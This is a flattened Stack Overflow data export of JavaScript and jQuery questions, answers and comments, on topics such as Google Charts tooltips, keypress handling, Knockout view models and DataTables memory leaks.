has text: Possible duplicate : http://stackoverflow.com/questions/10055165/performance-of-jquery-selectors-vs-local-variables
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40051694
comment on: http://stackoverflow.com/a/25633710
score: 0
type: AnswerComment
type: Comment
has text: no, I have tried to place it in the same controller but it then tells me that onNotification is not defined.

http://stackoverflow.com/comment/40006164
score: 0
type: Comment
type: QuestionComment
has text: @rsanchez Ah, that makes sense. I missed that key part of info when I read the question.
comment on: http://stackoverflow.com/q/25590957

http://stackoverflow.com/comment/39978516
type: Comment
comment on: http://stackoverflow.com/q/25594241
has text: @SolidSnake PHP is server side an JS is client side...
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40039304
type: Comment
type: QuestionComment
has text: Since `sItem` is a string, "[Why can't I add properties to a string object in javascript?](http://stackoverflow.com/questions/5201138/why-cant-i-add-properties-to-a-string-object-in-javascript)"
score: 0
comment on: http://stackoverflow.com/q/25627504

http://stackoverflow.com/q/25581785
score: 0
has title: How to add {text} (without quotes) to an array in PHP for Google Chart API?
has answer: http://stackoverflow.com/a/25581880
answer count: 2
has answer: http://stackoverflow.com/a/25608782
tagged with: jquery
has body: Updated following Uberfuzzy advice: $a = '{"role": "tooltip","p": {"html": true}}'; $aa = json_decode($a,true); $data[0] = array_merge(array(product),$info,array($aa)); This thread shows how to customize the html content of the tooltip in Google Chart API using arrayToDataTable. It requires the format like this: [ ['Country', 'Value', {role: 'tooltip', p:{html:true}}], ['Russia', 5, 'Hello world&lt;br&gt;test'], ['US', 20, '&lt;img src="logo6w.png"/&gt;'] ] Fiddle Example. I was using AJAX to generate a JSON output from mysql and pass into arrayToDataTable function. The code below gives me this output: [["product","diameter","width"],["Product 1",2,4],["Product 2",4,8]] $_POST["info"] Content: Array ( [0] =&gt; diameter [1] =&gt; width ) PHP Code: $rows = $users-&gt;fetchAll(); $data=""; $data[0] = array_merge(array(product),$info); $i = 1; foreach ($rows as $row) { $d[]=$row["name"]; foreach($_POST["info"] as $p) { $d[]= $row[$p]; } $data[$i] = $d; $d=array(); //set $d to empty not to get duplicate results $i++; } echo json_encode($data,JSON_NUMERIC_CHECK); How can I insert {role: 'tooltip', p:{html:true}} in $data[0]? It isn't an array, so I can't simply use $data[0] = array_merge(array(product),$info,array({role: 'tooltip', p:{html:true}})); jQuery: function drawChart() { var info = $('input:checked').map(function(){ return $(this).val() }).get(); var tt = $('.tt').map(function(){ return $(this).data('tid') }).get(); console.log(tid); var title = $('h3').text() var jsonData = $.ajax({ url: "test.php", type:"POST", dataType: "json", data:{'info[]':info,'tt':tt}, async: false }).responseText; var data = google.visualization.arrayToDataTable($.parseJSON(jsonData)); var options = { tooltip: {isHtml: true}, hAxis: { textStyle: {fontSize: 11}, slantedText: true, slantedTextAngle: 40 } }; var chart = new google.visualization.LineChart( document.getElementById('chart')); chart.draw(data, options); }
possible better answer: http://stackoverflow.com/a/25608782
tagged with: http://stackoverflow.com/tag/html
tagged with: php
accepted answer: http://stackoverflow.com/a/25581880
type: AnsweredQuestion
type: Question
tagged with: google-visualization
tagged with: javascript

http://stackoverflow.com/a/25616577
has comment: http://stackoverflow.com/comment/40018988
has comment: http://stackoverflow.com/comment/40020990
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40018985
has comment: http://stackoverflow.com/comment/40018943
accepted answer of: http://stackoverflow.com/q/25616541
has comment: http://stackoverflow.com/comment/40019075
has body: You get error Unexpected token ! because your statement $('.post-form').find('p:first').text().indexOf("Logged") !='') is not complete. Use if condition and indexOf as shown below :- if( $('.post-form').find('p:first').text().indexOf("Logged") &gt; -1) The indexOf() method returns the position of the first occurrence of a specified value in a string. This method returns -1 if the value to search never occurs
has comment: http://stackoverflow.com/comment/40019009
score: 2
answers question: http://stackoverflow.com/q/25616541
downvote count: 0
has comment: http://stackoverflow.com/comment/40021632
has comment: http://stackoverflow.com/comment/40018961
upvote count: 2
has comment: http://stackoverflow.com/comment/40019104
type: Answer
has comment: http://stackoverflow.com/comment/40019143
has comment: http://stackoverflow.com/comment/40021062
has comment: http://stackoverflow.com/comment/40019054
has comment: http://stackoverflow.com/comment/40019088
has comment: http://stackoverflow.com/comment/40019163
has comment: http://stackoverflow.com/comment/40019077

http://stackoverflow.com/a/25695003
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25694592
answers question: http://stackoverflow.com/q/25694592
upvote count: 1
has body: Set setInterval() as the guys before suggested: $("#box").fadeIn(3000, function () { setInterval(UpdateTime, 100); }); And (if you want to diplay the time) change .fadeOut() to .fadeIn() (or remove fading completely). Fiddle: http://jsfiddle.net/cu3s5zwt/
score: 1

http://stackoverflow.com/q/25706437
favorite count: 0
has comment: http://stackoverflow.com/comment/40182975
has body: How do I make the apostrophe key event work? I tried to put a backslash in front of it, but it doesn't seem to work. Sorry, I know it's a super basic question... test
has answer: http://stackoverflow.com/a/25706520
score: 1
upvote count: 1
type: AnsweredQuestion
has title: jQuery keypress apostrophe
accepted answer: http://stackoverflow.com/a/25706520
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25609429
type: Answer
answers question: http://stackoverflow.com/q/25609354
has body: Mechanize cannot handle javascript-logic based links. One option would be to inspect to which URL a request is being made while clicking on the link in the browser using browser developer tools. Then, simulate it using mechanize. Another option would be to switch to browser-based tools like selenium.
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/40042311
has text: My problem is that i can't call/execute the refresh function from outside the ViewModel function. I would like to have a solution like messageViewModel.Refresh() that can be called. The update of UI works fine, new messages are displayed as the are inserted in the self.allMessages observable array, thats not the issue.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25611298
type: Comment

http://stackoverflow.com/q/25693725
score: 2
type: AnsweredQuestion
upvote count: 2
linked to: http://stackoverflow.com/q/5802461
linked to: http://stackoverflow.com/q/2573521
type: Question
linked to: http://stackoverflow.com/q/969285
has body: Colleague and I have scabbed together a little app that uses a bunch of JS in the browser, and communicates with a Tornado (Python3) server via JSON, the server uses mongodb as a backing store for persistent data. This is a sort of first for both of us. What we're finding difficult is how to interchange datetime information between the JS and Python. We do believe that we should use UTC times for everything. JSON doesn't have a datetime literal, so we have to encode it somehow. We naively (?) used the JS notion of milliseconds from 1970 and have been sharing big integers back and forth. So the JS code might get the current utc now time with something like: var newTime = new Date().getTime(); On the Python3/mongo side, we'd like to use real datetime objects, so we convert that with something like: datetime.datetime.utcfromtimestamp(jsMilliseconds / 1000) But then when we have to send date back, said Python3 object only has a timestamp() method. And round tripping that doesn't seem to create the same time. So we've been frustrated with this. What we're looking for is for someone with experience to give us a good set of idioms to use here. Should we be using strings, instead of the ms integers when passing back and forth with JSON? What are the recommended methods to use on both sides to go between that format? Or should we stick with the integers and which methods should we be using then?
has answer: http://stackoverflow.com/a/27585169
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
linked to: http://stackoverflow.com/q/4460698
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/2532729
favorite count: 0
tagged with: python-3.x
has title: How to work with datetimes betwixt javascript, JSON, and python, and mongodb?
accepted answer: http://stackoverflow.com/a/27585169
tagged with: datetime
tagged with: python

http://stackoverflow.com/a/25706520
has body: The correct key code for ' is 39. In Firefox, there is a keyborad shortcut that triggers "Quick Find within link-text only" when ' is pressed, so you will have to use e.preventDefault() to prevent that. Demo on Fiddle $(document).keypress(function(e) { if(e.which === 48) { zero = true; keyMsg = "0 = "; checkKey(zero); } }); $(document).keypress(function(e) { if(e.which === 39) { e.preventDefault(); apss = true; keyMsg = "' = "; checkKey(apss); } }); function checkKey(key) { if (key === true) { $(".check").html(keyMsg + "true"); } }
accepted answer of: http://stackoverflow.com/q/25706437
answers question: http://stackoverflow.com/q/25706437
score: 2
downvote count: 0
upvote count: 2
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/39976339
has text: @ExpertSystem thanks for the information. I didn't know about the ngmin depreciation.
comment on: http://stackoverflow.com/q/25580443
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25629472
answers question: http://stackoverflow.com/q/25629296
has body: Unless you are using jQuery you will not be able to clone a node with all it's event handlers and even if you could it's usually not a good idea (I could expand if you need to). I suppose that these listeners were attached through some processes targetting these DOM nodes (e.g. applying a plugin). What you should be doing is simply do a deep or shallow copy of the DOM elements you want using Element.prototype.cloneNode and re-execute those processes against the clones. If the cloning process is complex you might consider encapsulating it within the class which is adding the listeners. Something like: function SomeObj(el) { this.el = el; attachSomeHandlersToEl(); } SomeObj.prototype.clone = function () { var newEl = this.el.cloneNode(true); return new this.constructor(newEl); }; var el = document.getElementById('some-el'), someObj = new SomeObj(el), clonedEl = someObj.clone().el;
type: Answer
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25629296
score: 0

http://stackoverflow.com/comment/40354909
comment on: http://stackoverflow.com/a/25735638
type: AnswerComment
score: 0
type: Comment
has text: Did you use require("foomod")?

http://stackoverflow.com/comment/40122380
comment on: http://stackoverflow.com/a/25672409
has text: Which file upload plugin are you using? That seems to be the constraint here, as datepicker works fine if you use newer versions of jquery-ui (like 1.10.2 for instance).
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/q/25689007
has answer: http://stackoverflow.com/a/25689164
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25689051
type: Question
tagged with: prototype
tagged with: javascript
has body: I'm new to Prototypal inheritance and I've been stuck in an easy task I have something like this: var test1 = { clear : function () { alert('hey'); } } var test2 = { varB : 2 } I would like to test2 extend from test1. Can anyone give me a direction? Should I still use Object.create, or maybe a function + call method? Im a bit confused here. Every example that i found are based on extending and then setting attributes, methods, etc.. But my object is already declared here. Thanks!
has title: Create an Object based on an existing object
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25689187
has comment: http://stackoverflow.com/comment/40150386

http://stackoverflow.com/comment/41476874
score: 2
comment on: http://stackoverflow.com/a/25676374
has text: The waits are for the sake of simplify the answer, that's not what's the question is about. Is it really too painful to double click on an e2e test? A better answer is always welcome in Stack Overflow so feel free to issue one.
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25635051
has body: Seems legit to me. To isolate the cause of the error, I would suggest to do the following : Test your getTest endpoint method through the API explorer, located at http://yourAppAddress/_ah/api/explorer . If it works you know the issue is in your client code. If it did not work, then the issue is either with the code inside getTest or with the way you use endpoints (or with endpoints itself). To check this, create a pure Java servlet that will call the getTest() method directly, and log the result. If it works you know the issue is either on the way you use endpoints or on endpoints itself. Sorry I don't have an immediate answer to your question. EDIT : Since you tell me that the API Explorer test works, I checked your javascript code and there's something weird : you try to get resp.items.length in the callback. But your endpoint method only returns a Test entity, so there are no items attribute. Can you try this code ? gapi.client.testEndpoint.getTest(requestData).execute(function(resp) { console.log(resp); }); EDIT 2 : So you've found the cause of the issue by yourself : you cannot call the endpoints method before the API client is loaded. Since your method is called by an onClick event, probably on a button, you must do the following : By default, disable the button In the gapi.client.load 's callback, enable the button That way you will be sure to only click on the button when the Google service is initialized. EDIT 3 : It is actually a problem in your html. You have a submit button, which makes Chrome reload the page. Every time you click the button the page reloads and you never see the result of your endpoint query. This HTML file works for me on the dev server : Get
has comment: http://stackoverflow.com/comment/40091094
has comment: http://stackoverflow.com/comment/40153365
has comment: http://stackoverflow.com/comment/40092068
has comment: http://stackoverflow.com/comment/40090789
has comment: http://stackoverflow.com/comment/40128807
answers question: http://stackoverflow.com/q/25634933
has comment: http://stackoverflow.com/comment/40428963
has comment: http://stackoverflow.com/comment/40276153
accepted answer of: http://stackoverflow.com/q/25634933
has comment: http://stackoverflow.com/comment/40128428
has comment: http://stackoverflow.com/comment/40090638
has comment: http://stackoverflow.com/comment/40502303
has comment: http://stackoverflow.com/comment/40276183
has comment: http://stackoverflow.com/comment/40468553
has comment: http://stackoverflow.com/comment/40091959
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40129470
has comment: http://stackoverflow.com/comment/40090861
has comment: http://stackoverflow.com/comment/40089486
has comment: http://stackoverflow.com/comment/40405028
has comment: http://stackoverflow.com/comment/40090316
has comment: http://stackoverflow.com/comment/40422255
score: 0
has comment: http://stackoverflow.com/comment/40202202
has comment: http://stackoverflow.com/comment/40129271
has comment: http://stackoverflow.com/comment/40409303
type: Answer

http://stackoverflow.com/q/25561920
type: UnansweredQuestion
tagged with: knockout.js
type: Question
has comment: http://stackoverflow.com/comment/39918177
has comment: http://stackoverflow.com/comment/39918647
has comment: http://stackoverflow.com/comment/39981900
tagged with: javascript
has comment: http://stackoverflow.com/comment/39981915
has comment: http://stackoverflow.com/comment/39918113
score: 0
has body: I have a viewmodel of state in which i have five fields out of five one field is hidden field .Which i want to be get updated whenever i am trigging an ajax request. my servlet respond a value . I want this value be get updated on the basis of ajax response. here is my viewmodel var dummyData = [{ "nsc": "1", "name": "us", "bic": "united states", "identifier": "us" }, { "nsc": "2", "name": "europe", "bic": "europe", "identifier": "us" }, { "nsc": "3", "name": "aus", "bic": "aus", "identifier": "us" }]; function State(data) { this.nsc = ko.observable(data.nsc || ""); this.nscto = ko.observable(data.nscto || ""); this.bic = ko.observable(data.bic || ""); this.name = ko.observable(data.name || ""); this.hiddenField = ko.observable(data.identifier || ""); } function StateViewModel() { var self = this; self.States = ko.observableArray([]); self.PopulateStates = ko.computed(function () { ko.utils.arrayForEach(dummyData, function (item) { self.States.push(new State(item)); }); }); self.nsc = ko.observable(); self.nscto = ko.observable(); self.bic = ko.observable(); self.hiddenField = ko.observable(); self.name = ko.observable(); } Here is my addState function on which i am making an ajax request self.addState = function (state) { var stateData = ko.toJSON({ data: new State({ nsc: self.nsc(), nscto: self.nscto(), bic: self.bic(), name: self.name() }) }); $.ajax ({ data: "action=" + "addarea" + "&amp;jsonData=" + stateData, url: '/bin/stateUpdate/add', dataType: 'json', type: 'GET', success: function (data) { var identifier = data['identifier']; alert(identifier); // checking servlet reponse self.hiddenField(identifier); self.States.push(new State({ nsc: self.nsc(), nscto: self.nscto(), bic: self.bic(), name: self.name(), hiddenField: self.hiddenField(identifier) })); }, error: function (exception) { alert("fail"); } }); /* $.post("/bin/stateUpdate/add", stateData, function(returnedData) { bank.hiddenField(returnedData); })*/ }; i want to update hiddenField on the basis of v…
has comment: http://stackoverflow.com/comment/39918385
has comment: http://stackoverflow.com/comment/39918016
tagged with: ajax
has comment: http://stackoverflow.com/comment/39981638
has comment: http://stackoverflow.com/comment/39918239
has comment: http://stackoverflow.com/comment/39918935
has title: How to update view model on basis of ajax response in knockout js?
has comment: http://stackoverflow.com/comment/39919796
answer count: 0

http://stackoverflow.com/a/25692180
has body: Your fiddle doesn't work because fiddle executes all your javascript in the a anonymous function: //&lt;![CDATA[ window.onload=function(){ function performSomeActions(){ alert("yyy"); } }//]]&gt; So your function isn't in the global scope and your HTML can't see it. To your code works you need to include your function directly at the HEAD, you can do this in fiddle changing the checkbox at the left side: http://jsfiddle.net/pvhaggrv/12/ HOWEVER, you should not add event listeners this way, you should use addEventListener like kougiland said in his answer.
downvote count: 0
answers question: http://stackoverflow.com/q/25691915
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/a/25626230
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25606379
downvote count: 0
has comment: http://stackoverflow.com/comment/40036793
type: Answer
has body: I believe you can extend it just like a 'new style' (AMD) widget, i.e.: require([ "dojo/_base/declare", "dojox/form/Uploader" ], function(decl) { var MyUploader = decl(dojox.form.Uploader, { buildRendering: function() { this.inherited(arguments); this.domNode.appendChild( document.createTextNode(" ← awesome")); } }); new MyUploader({}).placeAt("x").startup(); }); Or am I misunderstanding your question? The reason there are traces of the 'old style' syntax in Uploader (and some other widgets) is probably just because nobody has had the time to port it to the new style yet (so it was probably automatically "converted"). Edit: Actually, the Uploader returns a 'new style' object in addition to setting the dojox.form.Uploader global. So you can actually change the above example to: require([ "dojo/_base/declare", "dojox/form/Uploader" ], function(decl, Uploader) { var MyUploader = decl(Uploader, { .... since Uploader === dojox.form.Uploader here.
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40038291
accepted answer of: http://stackoverflow.com/q/25606379

http://stackoverflow.com/q/25599774
has comment: http://stackoverflow.com/comment/39988203
tagged with: javascript
has answer: http://stackoverflow.com/a/25600554
has body: I have two div in my html file and I am using two external javascript files.but the problem is when I am using both the js file together I am not getting the required functionality.so I want to restrict the use of js file to particular div e.g: div1 should only use js1 file and div2 should only use js2 file so that no clash happens and I get the required functionality. I am making a web app which is using lot number of widgets and these widgets are getting loaded from the database.there is one admin panel where a admin can add widgets.i am fetching all the widget's code from the database in a same page.so in future it may happen that after adding lot many widgets and there related js files they clashes and create problme.so i want to restrict there use to certain widget
has comment: http://stackoverflow.com/comment/39988282
has title: Can we load particular external java script files to particular div
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25599823
type: Question
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25599823
has comment: http://stackoverflow.com/comment/39988141
possible better answer: http://stackoverflow.com/a/25599822
has comment: http://stackoverflow.com/comment/39988139
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/39988161
has answer: http://stackoverflow.com/a/25599822
linked to: http://stackoverflow.com/q/7882374

http://stackoverflow.com/a/25705613
score: 2
downvote count: 0
has body: You can do this by splitting your data points into separate series and drawing them with different point shape options: function drawChart() { var data = google.visualization.arrayToDataTable([ ['X', 'Y', 'Direction'], [1, 100, 'down'], // keep linked points adjacent [1, 200, 'up'], [null, null, null], // insert blank row in between [2, 150, 'down'], [2, 275, 'up'], [null, null, null], [3, 75, 'down'], [3, 200, 'up'], [null, null, null], [4, 100, 'down'], [4, 300, 'up'] ]); var view = new google.visualization.DataView(data); view.setColumns([0, 1, { // down triangles type: 'number', calc: function (dt, row) { return (dt.getValue(row, 2) == 'down') ? dt.getValue(row, 1) : null; } }, { // up triangles type: 'number', calc: function (dt, row) { return (dt.getValue(row, 2) == 'up') ? dt.getValue(row, 1) : null; } }]); var chart = new google.visualization.LineChart(document.querySelector('#chart_div')); chart.draw(view, { height: 400, width: 600, series: { 0: { // this will draw the line pointSize: 0, color: '#3366cc' // set the color so they are all the same }, 1: { // this will draw the down triangles lineWidth: 0, pointSize: 20, pointShape: { type: 'triangle', rotation: 180 }, visibleInLegend: false, color: '#3366cc' // set the color so they are all the same }, 2: { // this will draw the up triangles lineWidth: 0, pointSize: 20, pointShape: { type: 'triangle' }, visibleInLegend: false, color: '#3366cc' // set the color so they are all the same } } }); } google.load('visualization', '1', {packages:['corechart'], callback: drawChart}); http://jsfiddle.net/asgallant/6dhm8u3y/
accepted answer of: http://stackoverflow.com/q/25612682
upvote count: 2
answers question: http://stackoverflow.com/q/25612682
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/25657046
has comment: http://stackoverflow.com/comment/41838206
type: Question
tagged with: ruby-on-rails-4
tagged with: javascript
tagged with: jquery
favorite count: 0
score: 0
has comment: http://stackoverflow.com/comment/40092954
has title: Hide an empty cart error Agile Web Development With Ruby on Rails 4
tagged with: ruby
answer count: 0
has body: I was reaserching a way to fix the bug for section 11.4 for the book Agile Web Development With Rails 4, when I did not find the answer after some tests I was able to fix it. How can I fix this?
has comment: http://stackoverflow.com/comment/40092917
type: UnansweredQuestion
upvote count: 1
tagged with: ruby-on-rails
downvote count: 1

http://stackoverflow.com/q/25563747
has comment: http://stackoverflow.com/comment/39921393
accepted answer: http://stackoverflow.com/a/25563866
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39921335
type: Question
has body: I have added a JavaScript onclick attribute to an HTML DIV tag. I am using multiple onclick attributes in a single DIV tag. Each onclick contains various tags. What I want is when I click one onclick tag it should display its very own tag in the DIV tag. And when I click another onclick tag it should display its tag in the same tag but it should clear the previous value. HTML: mobile electric vehicles home pets book Mobile Electronics Vehicle Home & Furniture Pets Books CD & Hobbies JavaScript: function mob() { document.getElementById('mobi').style.display = "block"; } function ele() { document.getElementById('elec').style.display = "block"; } function veh() { document.getElementById('vehi').style.display = "block"; } function hme() { document.getElementById('home').style.display = "block"; } function pet() { document.getElementById('pets').style.display = "block"; } function boo() { document.getElementById('book').style.display = "block"; }
has title: Multiple JavaScript OnClick events with multiple values in one target
has answer: http://stackoverflow.com/a/25563866
has comment: http://stackoverflow.com/comment/39921459
score: 0
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40081107
type: Comment
comment on: http://stackoverflow.com/a/25636000
type: AnswerComment
score: 0
has text: @SteampunkWizard - depending on how much code you have implemented and how much manipulating the data/model as part of the view gets, you may want to consider separating the view from the modal. That would give you a standard, static representation of the board for your game logic and a simple way to manipulate the view without affecting it in any way: [example fiddle](http://jsfiddle.net/5fayL1uj/1/)

http://stackoverflow.com/q/25575934
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25576189
tagged with: jshint
has comment: http://stackoverflow.com/comment/39944912
answer count: 1
has title: JSHint: Asynchronous function in loop
tagged with: jquery
tagged with: asynchronous
has body: I placed an asynchronous callback function (something like $.ajax) inside a for loop. It looked more or less like (edit: updated code, see comments): var i = 0; for ( ; i &lt; 5; i++ ) { (function( index ) { $.ajax({ url: "", success: function() { console.log( index ); } }); })( i ); } It worked, but JSHint gave me a warning saying something like: "Don't place functions inside loops" Normally I could just place my callback function outside my loop and call that function for every iteration. Unfortunately I need access to variables, which are assigned inside the loop (e.g. i). So I'm looking for a solution to do something like below: var i = 0; function callback( data ) { // I want to have access to "i" (0, 1, 2, 3, 4) and the AJAX "data" // in this function. But I only have access to "data", because "i" // will always be 5 } for ( ; i &lt; 5; i++ ) { $.ajax({ url: "", success: callback }); }
has comment: http://stackoverflow.com/comment/39945457
has comment: http://stackoverflow.com/comment/39945157
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/39944917
has comment: http://stackoverflow.com/comment/39945325
linked to: http://stackoverflow.com/q/750486
type: Question
has comment: http://stackoverflow.com/comment/39945351
has comment: http://stackoverflow.com/comment/39945105
has answer: http://stackoverflow.com/a/25576189

http://stackoverflow.com/comment/40168304
has text: It is not possible, Razor execute on server side, and jquery execute on client side.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25698574

http://stackoverflow.com/comment/40130474
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25677357
type: AnswerComment
has text: Retsam, why did you use mapValues rather than just map?

http://stackoverflow.com/comment/39959134
score: 0
type: AnswerComment
type: Comment
has text: I added the js on the left in the fiddle. If you look at the source of http://jsfiddle.net/mplungjan/pj5177go/show you will see the additional js
comment on: http://stackoverflow.com/a/25582169

http://stackoverflow.com/a/25660132
downvote count: 0
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25653399
answers question: http://stackoverflow.com/q/25653399
has body: ExtJS recommends using generated setter and getter for configs. The direct access is not documented. Doc: http://docs.sencha.com/extjs/4.2.1/#!/api/Ext.Class-cfg-config So using console.log("this.siteName = " + this.getSiteName()); console.log("this.siteId = " + this.getSiteId()); is best practice and should do the job.
type: AcceptedAnswer

http://stackoverflow.com/comment/39981405
type: Comment
comment on: http://stackoverflow.com/a/25596035
type: AnswerComment
has text: Absolutely brilliant! This is exactly what I needed and you've made it really clear. Thanks Paul!
score: 0

http://stackoverflow.com/comment/40085048
type: Comment
type: QuestionComment
has text: yea, that piece is for those purpose, but some part seems redundant for me.
score: 0
comment on: http://stackoverflow.com/q/25652848

http://stackoverflow.com/a/25570124
has body: I'm not sure figure out your question correctly or not but i think you are looking for something like this: function update_amounts_modal() { var sum = 0.0; $('form').each(function () { var qty = $(this).find('.qty').val(); var price = $(this).find('.price').val(); var isChecked = $(this).find('.idRow').prop("checked"); if (isChecked){ qty = parseInt(qty, 10) || 0; price = parseFloat(price) || 0; var amount = (qty * price); sum += amount; } }); $('.total-modal').text('€' + sum.toFixed(2)); } $().ready(function () { update_amounts_modal(); $('form .qty, form .idRow').change(function () { update_amounts_modal(); }); }); Check JSFiddle Demo Update: If in some forms you don't have a CheckBox (in other words some prices aren't optional) so you have to check that CheckBox exist or not and if exist, so check that is checked or not. in order to do that, modify the update function like this: function update_amounts_modal() { var sum = 0.0; $('form').each(function () { var qty = $(this).find('.qty').val(); var price = $(this).find('.price').val(); var checkbox = $(this).find('.idRow'); if (checkbox.prop("checked") || checkbox.length == 0){ qty = parseInt(qty, 10) || 0; price = parseFloat(price) || 0; var amount = (qty * price); sum += amount; } }); $('.total-modal').text('€' + sum.toFixed(2)); } in this line: if (checkbox.prop("checked") || checkbox.length == 0){ we say that sum the value if checkbox is checked (checkbox.prop("checked")) or there is no CheckBox (checkbox.length == 0). Check JSFiddle Demo
type: Answer
has comment: http://stackoverflow.com/comment/39933706
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/39933838
has comment: http://stackoverflow.com/comment/39933500
accepted answer of: http://stackoverflow.com/q/25569295
upvote count: 2
has comment: http://stackoverflow.com/comment/39933962
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25569295

http://stackoverflow.com/q/25576155
accepted answer: http://stackoverflow.com/a/25646776
tagged with: javascript
tagged with: profiler
upvote count: 3
tagged with: datatables
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40077400
favorite count: 0
has body: I have a webpage with an "auto-refresh" feature. When turned on, every one second a page is fetched via ajax (called page_request) and replaces the contents of a div container with the provided containerid: document.getElementById(containerid).innerHTML=page_request.responseText; This works most of the time, no problem. The problem arises when the following script is in page_response: &lt;script type=\"text/javascript\"&gt; $(document).ready(function() { dtable = $('#multi-stat-table').dataTable(); }); &lt;/script&gt; This script turns the table with the id "multi-stat-table" into a sortable table using the DataTables jQuery plugin. The script works, and I have sortable tables. However, if auto-refresh is on, there is a memory leak that will eventually consume the whole heap (slowly, but surely). I can see this phenomena using both top and chrome's memory profiler. Every one second, ~70 KB data is allocated, but only ~20 KB is freed. Hence, there is a net loss of 50 KB heap memory per second. I've looked through the objects in the profiler that are taking up memory, but it is very difficult to figure out from the non-descript numbers what these arrays and Objects are actually referencing. I have been unable to figure out how to make the garbage collector collect these unused objects that are piling up every second: I've tried setting dtable to null before each auto-refresh, to no avail. I've also tried calling dtable.api().clear() and dtable.api().destroy(), but the leak persists. How can I find this leak, and more importantly, what can I do to stop it?
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/40112645
type: Question
has title: Diagnosing type of Javascript leak
has answer: http://stackoverflow.com/a/25646776

http://stackoverflow.com/a/25560118
has body: Instead of using separate variables, make a urls array: var urls = [ "http://example.com/img1.jpg", "http://example.com/img2.jpg", "http://example.com/img3.jpg" ]; You can then select a random URL by doing: var url = urls[Math.floor(Math.random() * urls.length)]; And call buildImage: buildImage(url);
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25560094

http://stackoverflow.com/a/25566824
answers question: http://stackoverflow.com/q/25566665
type: Answer
downvote count: 0
score: 2
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25566665
has body: Use next of parent to select the ul. $(this).parent().next('ul').find('li').each(function(){...}) This will work for full problem var zones = []; $('.mw-headline').each( function() { var obj = {zone:'',districts:[]}; obj.zone = $(this).text(); $(this).parent().next('ul').find('li').each(function(){ obj.districts.push($(this).text()); }); zones.push(obj); }); console.log(zones) DEMO

http://stackoverflow.com/comment/39970823
type: AnswerComment
score: 0
type: Comment
has text: It should center it both ways with that already, try to add `document.body.style.height = "100%";`
comment on: http://stackoverflow.com/a/25589947

http://stackoverflow.com/comment/40039724
type: QuestionComment
comment on: http://stackoverflow.com/q/25627279
has text: Try using [`.prop()`](http://api.jquery.com/prop/) instead of [`.attr()`](http://api.jquery.com/attr/)
score: 0
type: Comment

erb
tags question: http://stackoverflow.com/q/25678338
tags question: http://stackoverflow.com/q/25664186
type: Tag
tag name: erb

http://stackoverflow.com/q/25612549
has body: I have a page with four containers shaped into a cube. When you click the "Click Here" button, the pages rotate as expected, but you cannot scroll Page 2 or 4 once the animation has completed, only before it has completed, which is undesired. The code I'm working with is below. Any ideas on how to get all of the scrollable pages to work correctly? The HTML: Click Here Page 1 test Page 2 test Page 3 test Page 4 test The CSS: div.cube-container { perspective: 320; perspective-origin: 50% 200px; transform: scale(1); margin-top: 25px; } div.cube-card { width: 100%; height: 100%; position: relative; -webkit-transform-style: preserve-3d; z-index: 1; } div.container-main { width: 100%; height: 200px; border: 1px solid #bbb; background-color: #e0e4e5; position: absolute; top: 0px; left: 0px; margin: 0px; overflow-x: hidden; overflow-y: auto; -webkit-overflow-scrolling: touch; } div.container { position: relative; } The JS: var page = 1; $(document).ready(function() { $(window).load(function() { var halfWidth = $(window).width() / 2; $("div#Container-1").css({webkitTransform: "rotateY(0deg) translateZ(" + halfWidth + "px)"}); $("div#Container-2").css({webkitTransform: "rotateY(90deg) translateZ(" + halfWidth + "px)"}); $("div#Container-3").css({webkitTransform: "rotateY(180deg) translateZ(" + halfWidth + "px)"}); $("div#Container-4").css({webkitTransform: "rotateY(270deg) translateZ(" + halfWidth + "px)"}); }); $("button").click(function() { page = page + 1; var angle = -((page * 90) - 90); if (page == 5) { page = 1; } if (angle == -360) { angle = 0; } $("div.cube-card").css({webkitTransition: "-webkit-transform 0.60s"}); $("div.cube-card").css({webkitTransform: "rotateY(" + angle + "deg)"}); }); });
type: Question
tagged with: javascript
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has answer: http://stackoverflow.com/a/25645757
type: UnansweredQuestion
has title: Scrollable div stops working on 3D rotation
tagged with: css

http://stackoverflow.com/comment/40047276
score: 0
type: QuestionComment
type: Comment
has text: Is working fine for me, what is the issue?
comment on: http://stackoverflow.com/q/25630377

http://stackoverflow.com/q/25643924
